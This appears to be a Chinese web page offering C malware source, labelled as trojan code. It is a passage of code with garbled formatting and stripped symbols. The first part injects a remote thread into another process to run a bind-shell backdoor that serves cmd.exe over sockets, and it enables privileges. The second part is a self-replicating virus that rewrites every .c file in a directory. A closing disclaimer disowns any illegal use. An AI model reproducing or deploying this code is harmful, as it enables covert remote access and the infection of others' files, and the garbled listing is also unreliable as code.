pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);

if(!pRemoteThread)return 0; // 将线程执行体ThreadProc写入远程进程

if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, ThreadProc, THREADSIZE,0))return 0;ZeroMemory(myRemotePara,sizeof(RemotePara));

hKernel = LoadLibrary( "kernel32.dll");

myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");

myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");

myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");

myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");

myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");

myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile");

myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile");

myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle");

myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");

myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");hSock = LoadLibrary("wsock32.dll");

myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");

myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket");

myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons");

myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind");

myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");

myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept");

myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv");

myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send");

myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");hUser32 = LoadLibrary("user32.dll");

myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA"); strcat(myRemotePara.strMessageBox,"Sucess!\\0");

strcat(myRemotePara.winsockDll,"wsock32.dll\\0");

strcat(myRemotePara.cmd,"cmd.exe\\0");

strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0"); //写进目标进程

pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);

if(!pRemotePara)return 0;

if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,myRemotePara,sizeof myRemotePara,0))return 0; // 启动线程

hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,byte_write);

while(1) {}

FreeLibrary(hKernel);

FreeLibrary(hSock);

FreeLibrary(hUser32);

CloseHandle(hRemoteProcess);

CloseHandle(hToken);return 0;

} BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){

TOKEN_PRIVILEGES tp;

tp.PrivilegeCount = 1;

LookupPrivilegeValue(NULL,szPrivName,tp.Privileges[0].Luid);

tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;

AdjustTokenPrivileges(hToken,FALSE,tp,sizeof(tp),NULL,NULL);

return((GetLastError() == ERROR_SUCCESS));

}DWORD GetPidByName(char *szName)

HANDLE hProcessSnap = INVALID_HANDLE_VALUE;

PROCESSENTRY32 pe32={0};

DWORD dwRet=0;hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;pe32.dwSize = sizeof(PROCESSENTRY32);

if(Process32First(hProcessSnap, pe32))

do

if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)

dwRet=pe32.th32ProcessID;

break;

}while (Process32Next(hProcessSnap,pe32));

else return 0;if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);

return dwRet;

c语言木马源代码

#include stdio.h

#include dir.h

void main(void)

virus();

int virus()

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",ffblk,0);

while (!done)

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

goto next;

do{

if(i=50)

fclose(in);

goto next;

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#includestdio.h\n",out);

fputs("#includedir.h\n",out);

do

if(strstr(buf[j],main)!=NULL)

for(;ji-1;j++)

if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

if(flag==0)

flag=1;

fputs("virus();\n",out);

fputs(buf[j],out);

else if((strstr(buf[j],include[0])==NULL)

(strstr(buf[j],include[1])==NULL))

fputs(buf[j],out);

j++;

else

j++;

}while(ji-1);

read=fopen(virus,"rt");

do

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

p=fgets(buffer,80,read);

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(ffblk);

return 0;

严重声明：这个程序只是供C语言新手参考，开玩笑没关系，但如果用来做不法的事情，本人概不负责。还有，编病毒、木马去做违法的事情惩罚是很重的，你如果想学编程，编个简单的就好了，否则后果很严重。